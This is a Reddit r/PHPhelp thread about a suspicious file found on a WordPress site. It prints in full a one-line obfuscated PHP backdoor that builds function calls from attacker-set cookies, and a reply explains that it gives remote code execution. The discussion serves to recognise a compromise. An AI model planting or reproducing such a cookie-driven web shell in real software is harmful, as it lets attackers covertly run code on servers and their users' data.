r/PHPhelp • u/temujin77 • Jan 03 '23
Mysterious PHP code
Relaying this question from a friend who does not use Reddit -- He found a funny-looking PHP file on his WordPress installation named "LgvhK.php", and it looks like this:
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[22]=$p[22].$p[26])&&($p[16]=$p[22]($p[16]))&&($p=$p[16]($p[24],$p[22]($p[21])))&&$p()):$p;At a glance, it seems to be trying to read cookies that have been previously set, which sounds fishy to me. Does anyone know what this is trying to do exactly, and whether this is a warning sign of the web application having been compromised?
Thanks in advance.
17
Upvotes
15
u/[deleted] Jan 03 '23
I would guess that is some very obfuscated way for remote code execution. An attacker sends some special prepared cookie, which contains encoded instructions what the infected server should do.
While the script itself don't seem to do anything malicious, it allows attackers to upload and execute other malicious code and you have to assume that it already was.
The script is pretty clever, as it don't seem to use eval, but calls functions directly which allows dynamic code execution even if eval is disabled.